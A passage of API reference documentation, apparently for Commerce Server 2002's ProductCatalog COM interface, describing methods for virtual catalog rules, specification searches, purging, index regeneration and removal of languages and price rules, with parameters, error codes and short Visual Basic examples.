A Variant that contains the property on which to sort. This must be a property in the returned recordset.
fSortAscending [C++]
[in, optional, defaultvalue (-1)] A VARIANT_BOOL that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order.
fSortAscending [Visual Basic]
A Boolean that specifies whether to sort in ascending or descending order. A value of True (-1) indicates to sort in ascending order. A value of False (0) indicates to sort in descending order. The default value is True.
plTotalRecordsInQuery [C++]
[in, out, optional] A pointer to a VARIANT that, if supplied, contains on output the total number of records.
plTotalRecordsInQuery [Visual Basic]
A Variant that, if supplied, contains on output the total number of records.
ppRSProductRules [C++]
[out, retval] A pointer to hold the reference to the returned Recordset object, which will contain the virtual catalog rules.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Recordset object that contains the virtual catalog rules.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C++] 0x889800FA [Visual Basic] &H889800FA | invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_INVALID_RS_POINTER | [C++] 0x889800B7 [Visual Basic] &H889800B7 | The recordset pointer that you specified is invalid.
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.
E_CAT_INVALID_SORT_PROPS | [C++] 0x8898011E [Visual Basic] &H8898011E | The properties to sort that you specified are invalid. Properties that contain a space should be enclosed in square brackets. Properties should not contain [ or ] and /* or -- in property names.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The ppRSProductRules parameter contains valid data only if the method was accessed successfully.

The returned recordset is disconnected and updateable. The following table shows the fields that the returned recordset contains.

Field | Data Type | Description
Type | VirtualCatalogRuleTypeEnum Enum | An enumeration that describes the type of rule. See the following table for a description of the values.
CatalogName | String 90 characters | The name of the catalog.
CategoryName | String 128 characters | The name of the category.
ProductID | String 256 characters | The field name that uniquely identifies products.
VariantID | String 256 characters | The field name that uniquely identifies variants.

The following table shows the enumeration that indicates the rule types in the returned recordset.

Name | Value | Description
VCRULETYPE_INCLUDE_PRODUCT | 1 | Indicates an inclusion rule for a product.
VCRULETYPE_EXCLUDE_PRODUCT | 2 | Indicates an exclusion rule for a product.
VCRULETYPE_INCLUDE_CATEGORY | 3 | Indicates an inclusion rule for a category.
VCRULETYPE_EXCLUDE_CATEGORY | 4 | Indicates an exclusion rule for a category.
VCRULETYPE_INCLUDE_VARIANT | 5 | Indicates an inclusion rule for a variant.
VCRULETYPE_EXCLUDE_VARIANT | 6 | Indicates an exclusion rule for a variant.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

vTotalRecords is a variant.
SET rsRules = myProductCatalog.GetVirtualCatalogRules(1, 25, strPropertyToSortOn, True, vTotalRecords )

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::GuaranteedSpecificationSearch Method [C++]

ProductCatalog.GuaranteedSpecificationSearch Method [Visual Basic]

Use this method to guarantee results when performing a specification search of a catalog.

Definition

[C++]
HRESULT IProductCatalog3::GuaranteedSpecificationSearch(
  VARIANT* pstrSearchHandle,
  VARIANT eClassTypeRequired,
  VARIANT lDesiredRecords,
  VARIANT* plTotalRecordsAvailable,
  VARIANT* pRSNewPropValuesList,
  VARIANT vrPropertiesRequired,
  _Recordset** ppRSSearchResults
);
[Visual Basic]
Function GuaranteedSpecificationSearch(
  pstrSearchHandle As Variant,
  Optional eClassTypeRequired As Variant,
  Optional lDesiredRecords As Variant,
  Optional plTotalRecordsAvailable As Variant,
  Optional pRSNewPropValuesList As Variant,
  Optional vrPropertiesRequired As Variant
) As _Recordset

Parameters

pstrSearchHandle [C++]
[in, out] A VARIANT that contains the specification search handle. The modified search handle will be returned by this parameter.
pstrSearchHandle [Visual Basic]
A Variant that contains the specification search handle.
eClassTypeRequired [C++]
[in, optional] A VARIANT that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class wanted. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
lDesiredRecords [C++]
[in, optional] A VARIANT that contains the number of records wanted.
lDesiredRecords [Visual Basic]
A Variant that contains the number of records wanted.
plTotalRecordsAvailable [C++]
[out, optional] A pointer to a VARIANT used to return the total records available.
plTotalRecordsAvailable [Visual Basic]
A Variant used to return the total records available.
pRSNewPropValuesList [C++]
[out, optional] A Recordset object used to return the new property values list.
pRSNewPropValuesList [Visual Basic]
A Recordset object used to return the new property values list.
vrPropertiesRequired [C++]
[in, optional] A VARIANT that contains the properties required in a comma-delimited String.
vrPropertiesRequired [Visual Basic]
A Variant that contains the properties required in a comma-delimited String.
ppRSSearchResults [C++]
[out, retval] A Recordset object used to return the search results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a recordset that contains the search results.

Error Values

[C++] This method returns S_OK (0x00000000) or S_FALSE (&H00000001) to indicate success and standard COM HRESULT error values, to indicate failure. This method may succeed and yet not return a valid output parameter. The output parameter(s) will be invalid if either and error value or S_FALSE is returned. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) or S_FALSE (&H00000001) to indicate success and to either standard or custom COM error values to indicate failure. This method may succeed and yet return a property or object that is Nothing due to a syntax error, such as requesting a property or object that does not exist. Test the return value for Nothing before relying on it. For more information about standard COM errors, see Standard COM Errors.

In the context of this method, S_FALSE indicates:

  • The pRSNewPropValuesList parameter is specified and there are no properties in the catalog that are marked for specification search.
  • The pRSNewPropValuesList parameter is specified and there are no products under the category selected for specification search.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C++] 0x8898010D [Visual Basic] &Hx8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid.
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011D [Visual Basic] &H8898011D | The properties to return that you specified are invalid. properties that contain a space should be enclosed in square brackets. properties should not contain [ or ] and /* or -- in property names.
E_CAT_CATEGORY_NOT_EXISTS_NOT_SEARCHABLE | [C++] 0x88980049 [Visual Basic] &H88980049 | The category you specified does not exists or is not marked as Specification searchable.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The pstrSearchHandle, plTotalRecordsAvailable, pRSNewPropValuesList, and ppRSSearchResults parameters contain valid data only if the method was accessed successfully.

This method is similar to the PerformSpecificationSearch method. The optional output parameter, pRSNewPropValuesList, is a single row recordset. This recordset contains one field for each searchable property for the products under the category specified in the BeginSpecificationSearch method. Each field contains a SAFEARRAY. The SAFEARRAY contains a set of distinct values for that property. The set is all the values in all the products that match the search clauses in the search handle. Only the properties that are marked as searchable are returned in the recordset. A property can be marked as searchable by setting the IncludeInSpecSearch attribute of that property to True.

This method guarantees that results will be returned from a specification search of the catalog by removing search constraints in the reverse order that they were added until a match is found. Therefore, remember to add constraints to a specification search in order of decreasing importance.

[C++] The Recordset object returned by this method will contain a field for each property name in the vrPropertiesRequired parameter. If this parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

[Visual Basic] The Recordset object returned by this method will contain a field for each property name in the vrPropertiesRequired parameter. If this parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

When field names begin with a number or contain spaces, they must be enclosed in brackets. Data errors occur if the field names are not formatted correctly. If the vrPropertiesRequired parameter is omitted, the data in all fields will be returned correctly.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical ORs, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch.
'The following parameters should be examined after the call returns.
'plTotalRecordsAvailable is a Long
'pRSNewPropValuesList is an empty recordset
SET rsMySearchResults = myProductCatalog.GuaranteedSpecificationSearch('strSearchHandle , 20, plTotalRecordsAvailable, pRSNewPropValuesList)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::AddSpecificationSearchClause

[Visual Basic] ProductCatalog.AddSpecificationSearchClause

[C++] IProductCatalog3::PerformSpecificationSearch

[Visual Basic] ProductCatalog.PerformSpecificationSearch

[C++] IProductCatalog3::RemoveSpecificationSearchClause

[Visual Basic] ProductCatalog.RemoveSpecificationSearchClause


IProductCatalog3::PerformSpecificationSearch Method [C++]

ProductCatalog.PerformSpecificationSearch Method [Visual Basic]

Use this method to perform a specification search of a catalog.

Definition

[C++]
HRESULT IProductCatalog3::PerformSpecificationSearch(
  BSTR strSearchHandle,
  VARIANT eClassTypeRequired,
  VARIANT lDesiredRecords,
  VARIANT* plTotalRecordsAvailable,
  VARIANT* pRSNewPropValuesList,
  VARIANT vrPropertiesRequired,
  _Recordset** ppRSSearchResults
);
[Visual Basic]
Function PerformSpecificationSearch(
  strSearchHandle As String,
  Optional eClassTypeRequired As Variant,
  Optional lDesiredRecords As Variant,
  Optional plTotalRecordsAvailable As Variant,
  Optional pRSNewPropValuesList As Variant,
  Optional vrPropertiesRequired As Variant
) As _Recordset

Parameters

strSearchHandle [C++]
[in] A BSTR that contains the name of the search to perform.
strSearchHandle [Visual Basic]
A String that contains the name of the search to perform.
eClassTypeRequired [C++]
[in, optional] A VARIANT that contains the catalog class required. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
eClassTypeRequired [Visual Basic]
A Variant that contains the catalog class required. Valid values are from the CatalogClassTypeEnum enumeration, and are described in the Remarks section.
lDesiredRecords [C++]
[in, optional] A VARIANT that contains the records wanted.
lDesiredRecords [Visual Basic]
A Variant that contains the records wanted.
plTotalRecordsAvailable [C++]
[out, optional] A pointer to a VARIANT used to return the total number of records available.
plTotalRecordsAvailable [Visual Basic]
A Variant used to return the total number of records available.
pRSNewPropValuesList [C++]
[out, optional] A pointer to a VARIANT used to return the Recordset object of the new property values list.
pRSNewPropValuesList [Visual Basic]
A Variant used to return the Recordset object of the new property values list.
vrPropertiesRequired [C++]
[in, optional] A VARIANT that contains the properties required in a comma-delimited String.
vrPropertiesRequired [Visual Basic]
A Variant that contains the properties required in a comma-delimited String.
ppRSSearchResults [C++]
[out, retval] A pointer to hold the reference to the returned Recordset object, which will contain the search results.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a recordset that contains the search results.

Error Values

[C++] This method returns S_OK (0x00000000) or S_FALSE (&H00000001) to indicate success and standard COM HRESULT error values, to indicate failure. This method may succeed and yet not return a valid output parameter. The output parameter(s) will be invalid if either and error value or S_FALSE is returned. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) or S_FALSE (&H00000001) to indicate success and to either standard or custom COM error values to indicate failure. This method may succeed and yet return a property or object that is Nothing due to a syntax error, such as requesting a property or object that does not exist. Test the return value for Nothing before relying on it. For more information about standard COM errors, see Standard COM Errors.

In the context of this method, S_FALSE indicates:

  • The pRSNewPropValuesList parameter is specified and there are no properties in the catalog that are marked for specification search.
  • The pRSNewPropValuesList parameter is specified and there are no products under the category selected for specification search.

The following table shows the custom COM error that this method can return.

Constant | Value | Description
E_POINTER | [C++] 0x80004003 [Visual Basic] &H80004003 | The pointer is invalid.
E_CAT_INVALID_PARAMETER | [C++] 0x889800B6 [Visual Basic] &H889800B6 | The input parameter <parameter number> is invalid.
E_CAT_INVALID_SPECSEARCH_HANDLE | [C++] 0x8898010D [Visual Basic] &H8898010D | The search handle that you specified is invalid. The search handle should be of the form [CatalogName][CategoryName] AND (Search Clause1) AND (SearchClause2) ....
E_INVALIDARG | [C++] 0x80070057 [Visual Basic] &H80070057 | One or more arguments are invalid
E_CAT_INVALID_RETURN_PROPS | [C++] 0x8898011D [Visual Basic] &H8898011D | The properties to return that you specified are invalid. properties that contain a space should be enclosed in square brackets. properties should not contain [ or ] and /* or -- in property names.
E_CAT_CATEGORY_NOT_EXISTS_NOT_SEARCHABLE | [C++] 0x88980049 [Visual Basic] &H88980049 | The category you specified does not exists or is not marked as Specification searchable.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

[C++] The plTotalRecordsAvailable, pRSNewPropValuesList, and ppRSSearchResults parameters contain valid data only if the method was accessed successfully.

The PerformSpecificationSearch method runs a query using all of the constraints that have been added to the specified specification search handle.

The optional output parameter, pRSNewPropValuesList, is a single row recordset. This recordset contains one field for each searchable property for the products under the category specified in the BeginSpecificationSearch method. Each field contains a SAFEARRAY. The SAFEARRAY contains a set of distinct values for that property. The set is all the values in all the products that match the search clauses in the search handle. Only the properties that are marked as searchable are returned in the recordset. A property can be marked as searchable by setting the IncludeInSpecSearch attribute of that property to True.

[C++] The Recordset object returned by this method will contain a field for each property name in the vrPropertiesRequired parameter. It will always contain a CatalogName field. If the parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

[Visual Basic] The Recordset object returned by this method will contain a field for each property name in the vrPropertiesRequired parameter. It will always contain a CatalogName field. If the parameter is omitted, the Recordset object will contain all of the corresponding fields. For more information about these fields, see CatalogProduct Recordset.

When field names begin with a number or contain spaces, they must be enclosed in brackets. Data errors will occur if the field names are not formatted correctly. If the vrPropertiesRequired parameter is omitted, the data in all fields will be returned correctly.

The following table shows the values of the CatalogClassTypeEnum enumeration, their associated names, and describes their use.

Name | Value | Description
cscCategoryClass | 1 | Requests category data.
cscProductVariantClass | 2 | Requests product variant data.
cscProductClass | 4 | Requests product data.
cscProductFamilyClass | 8 | Requests product family data.
cscProductFamilyForVariantsClass | 16 | Requests family for variant data, which means the product family of a product variant is being requested.
cscProductVariantsForFamily | 32 | Requests variants for family data, which means that all of the product variants for a product family are being requested.

The CatalogClassTypeEnum enumeration values can be combined in the eClassTypeRequired parameter with logical OR operators, so that specifying cscProductClass OR cscProductVariantClass will return both product and product variant data.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

'strSearchHandle contains a search handle returned
'from AddSpecificationSearchClause or BeginSpecificationSearch.
'The following parameters should be examined after the call returns.
'plTotalRecordsAvailable is a Long.
'pRSNewPropValuesList is an empty recordset.
SET rsSearchResults = myProductCatalog.PerformSpecificationSearch(strSearchHandle, 20, plTotalRecordsAvailable, pRSNewPropValuesList)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] IProductCatalog3::AddSpecificationSearchClause

[Visual Basic] ProductCatalog.AddSpecificationSearchClause

[C++] IProductCatalog3::BeginSpecificationSearch

[Visual Basic] ProductCatalog.BeginSpecificationSearch

[C++] IProductCatalog3::GuaranteedSpecificationSearch

[Visual Basic] ProductCatalog.GuaranteedSpecificationSearch

[C++] IProductCatalog3::RemoveSpecificationSearchClause

[Visual Basic] ProductCatalog.RemoveSpecificationSearchClause


IProductCatalog3::Purge Method [C++]

ProductCatalog.Purge Method [Visual Basic]

Use this method to remove deleted products, categories, and variants from the catalog.

Definition

[C++]
HRESULT IProductCatalog3::Purge(
);
[Visual Basic]
Sub Purge()

Parameters

[C++] None.

[Visual Basic] None.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

In addition to standard COM errors, purge may return ADO errors.

Remarks

Commerce Server 2002 uses a two-stage delete process. When items are deleted from a catalog they are not removed from the Product Catalog System. The product rows are moved from the catalog tables to a deleted products table. This allows deletions to be exported with other changes using the DeltaExportXML method. Use the Purge method to remove the marked products from the database. The Purge method is not accessible through the user interface.

Caution

  • There is no method for recovering deleted products.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.Purge

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] ICatalogManager3::DeltaExportXML

[Visual Basic] CatalogManager.DeltaExportXML


IProductCatalog3::RebuildVirtualCatalog Method [C++]

ProductCatalog.RebuildVirtualCatalog Method [Visual Basic]

Use this method to rebuild a virtual catalog or all dependent virtual catalogs.

Definition

[C++]
HRESULT IProductCatalog3::RebuildVirtualCatalog(
  VARIANT_BOOL fRunSynchronously,
  VARIANT_BOOL fForceRebuild
);
[Visual Basic]
Sub RebuildVirtualCatalog(
  Optional fRunSynchronously As Boolean,
  Optional fForceRebuild As Boolean
)

Parameters

fRunSynchronously [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously.
fRunSynchronously [Visual Basic]
A Boolean that specifies whether to run the method synchronously. A value of True indicates that the method should be run synchronously. A value of False indicates that the method should be run asynchronously. The default value is False.
fForceRebuild [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether to force a rebuild. A value of True indicates that catalogs will be rebuilt regardless of status. A value of False indicates that only dirty catalogs will be rebuilt.
fForceRebuild [Visual Basic]
A Boolean that specifies whether to force a rebuild. A value of True indicates that all catalogs will be rebuilt regardless of status. A value of False indicates that only dirty catalogs will be rebuilt. The default value is False.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table describes the custom COM errors this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.

Remarks

Virtual catalogs will only be rebuilt if there has been a rule change, a product deletion, or a category deletion that would affect the contents of the catalog unless the fForceRebuild parameter is set to True. If this method is called on a base catalog, it will apply to all virtual catalogs that include products or categories from the base catalog. If this method is called on a virtual catalog, it will apply only to the virtual catalog.

[C++] If you want to rebuild all the virtual catalogs in the Product Catalog System use ICatalogManager3::RebuildAllVirtualCatalogs.

[Visual Basic] If you want to rebuild all the virtual catalogs in the Product Catalog System use CatalogManager.RebuildAllVirtualCatalogs.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.RebuildVirtualCatalog

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object

[C++] ICatalogManager3::RebuildAllVirtualCatalogs

[Visual Basic] CatalogManager.RebuildAllVirtualCatalogs


IProductCatalog3::RegenerateFreeTextSearchIndex Method [C++]

ProductCatalog.RegenerateFreeTextSearchIndex Method [Visual Basic]

Use this method to regenerate the free-text search index of a catalog.

Definition

[C++]
HRESULT IProductCatalog3::RegenerateFreeTextSearchIndex(
 VARIANT_BOOL fGenerateIncremental
);
[Visual Basic]
Sub RegenerateFreeTextSearchIndex(
 fGenerateIncremental As Boolean
)

Parameters

fGenerateIncremental [C++]
[in, defaultvalue (0)] A VARIANT_BOOL that determines whether an incremental or a full rebuild of the free-text search index is to be performed. A value of True indicates an incremental rebuild. A value of False indicates a full rebuild. See the Remarks section for more information.
fGenerateIncremental [Visual Basic]
A Boolean that determines whether an incremental or a full rebuild of the free-text search index is to be performed. A value of True indicates an incremental rebuild. A value of False indicates a full rebuild. The default value is False. See the Remarks section for more information.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_CANNOT_REFRESH | [C++] 0x8898004C [Visual Basic] &H8898004C | A catalog import operation is currently in progress. The refresh operation cannot be performed now.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The fGenerateIncremental parameter determines what type of free-text index rebuild to perform. The default is to completely rebuild the free-text index. Though this option ensures completeness, it is slower than an incremental rebuild, which appends only recently added products and categories to the index.

If the database in which Commerce Server keeps its catalog data does not have the SQL Server 2000 full-text engine installed, this method will return with no action.

This method cannot be called in a transacted object. This method involves the creating, deleting, or updating of free-text indexes. SQL Server does not allow these operations in a transaction.

This method will create a new full-text index for the catalog if it does not exist.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.RegenerateFreeTextSearchIndex TRUE

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::RemoveLanguage Method [C++]

ProductCatalog.RemoveLanguage Method Method [Visual Basic]

Use this method to remove a language from this catalog.

Definition

[C++]
HRESULT IProductCatalog3::RemoveLanguage(
  BSTR strLanguage
);
[Visual Basic]
Sub RemoveLanguage(
  strLanguage As String
)

Parameters

strLanguage [C++]
[in, optional, defaultvalue ("")] A BSTR that contains the culture name to remove. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.
strLanguage [Visual Basic]
A String that that contains the culture name to remove. The culture name follows the RFC 1766 standard in the format "<languagecode2>-<country/regioncode2>" where <languagecode2> is a lowercase two-letter code derived from ISO 639-1 and <country/regioncode2> is an uppercase two-letter code derived from ISO 3166. Some culture names have prefixes that specify the script; for example, "Cy" specifies the Cyrillic script, and "Lt" specifies the Latin script. For more information, see . Table of Language Culture Names, Culture Codes, and ISO Values.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_INVALID_LANGUAGE | [C++] 0x8898009E [Visual Basic] &H8898009E | The value you specified for the language parameter is either empty or exceeds the maximum length of 10 characters.
E_CAT_LANGUAGE_NOT_ASSOCIATED | [C++] 0x889800A4 [Visual Basic] &H889800A4 | The language that you specified is not associated with this catalog.
E_CAT_CATALOG_DOESNT_EXIST | [C++] 0x88980002 [Visual Basic] &H88980002 | The catalog name you specified does not exist.
E_CAT_CANNOT_REMOVE_DEFAULT_LANG | [C++] 0x889800AA [Visual Basic] &H889800AA | The language that you specified is being used as the Default language for this catalog. It cannot be removed
E_CAT_CANNOT_REMOVE_REPORTING_LANG | [C++] 0x889800AB [Visual Basic] &H889800AB | The language that you specified is being used as the Reporting language for this catalog. It cannot be removed

Remarks

This method removes the specified language from list of languages supported by the catalog. The language will not be removed if it is the default language of the catalog; in this case, an error message will be returned.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.RemoveLanguage("FRA")

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::RemovePriceRule Method [C++]

ProductCatalog.RemovePriceRule Method [Visual Basic]

Use this method to remove a specified price rule.

Definition

[C++]
HRESULT IProductCatalog3::RemovePriceRule(
  VARIANT vrProductIDOrCategoryName,
  VARIANT vrVariantID,
  VARIANT_BOOL fCategory
);
[Visual Basic]
Sub RemovePriceRule(
  vrProductIDOrCategoryName As Variant,
  Optional vrVariantID As Variant,
  Optional fCategory As Boolean
)

Parameters

vrProductIDOrCategoryName [C++]
[in] A VARIANT that contains the product ID or category name to which the rule applies.
vrProductIDOrCategoryName [Visual Basic]
A Variant that contains the product ID or category name to which the rule applies.
vrVariantID [C++]
[in, optional] A VARIANT that contains the variant ID, if the rule is specific to a variant.
vrVariantID [Visual Basic]
A Variant that contains the variant ID, if the rule is specific to a variant.
fCategory [C++]
[in, optional, defaultvalue (0)] A VARIANT_BOOL that specifies whether the parameter vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product.
fCategory [Visual Basic]
A Boolean that specifies whether vrProductIDOrCategoryName is a product or a category. A value of True (-1) indicates a category. A value of False (0) indicates a product. The default value is False (0).

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and either standard or custom COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to either standard or custom COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors.

The following table shows the custom COM errors that this method can return.

Constant | Value | Description
E_CAT_VC_NOT_A_VIRTUAL_CATALOG | [C++] 0x889800FA [Visual Basic] &H889800FA | Invalid catalog type. This API can only be called on a virtual catalog.
E_CAT_VC_INVALID_PROD_ID_OR_CATEGORY_NAME | [C++] 0x889800FB [Visual Basic] &H889800FB | The value you specified for the ProductID or CategoryName exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_VARIANT_ID | [C++] 0x889800FC [Visual Basic] &H889800FC | The value you specified for the VariantID exceeds the maximum allowed length of 348 characters.
E_CAT_VC_INVALID_ITEM | [C++] 0x889800FD [Visual Basic] &H889800FD | The specified product/category/variant could not be found in the base catalog.
E_CAT_VC_DELETION_PRICE_RULE_NOT_FOUND | [C++] 0x88980100 [Visual Basic] &H88980100 | The pricing rule could not be deleted because it doesn't exist.

[C++] Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Set the fCategory parameter to True and the vrProductIDOrCategoryName parameter to an empty string to remove the price rule for the entire catalog.

The vrVariantID parameter is only valid for products. If it is supplied, it indicates that the rule should be removed for that variant only.

For more information about memory ownership issues related to COM property and method parameters, see Managing COM Parameter Memory.

[Visual Basic]

Example

myProductCatalog.RemovePriceRule("shoes", , True)

See Also

[C++] ProductCatalog Object

[Visual Basic] ProductCatalog Object


IProductCatalog3::RemoveSpecificationSea MethodrchClause [C++]

ProductCatalog.RemoveSpecificationSearchClause Method [Visual Basic]

Use this method to remove the last constraint from a specified specification search.

Definition

[C++]
HRESULT IProductCatalog3::RemoveSpecificationSearchClause(
 VARIANT* pstrSearchHandle,
 BSTR* pstrPoppedClause
);
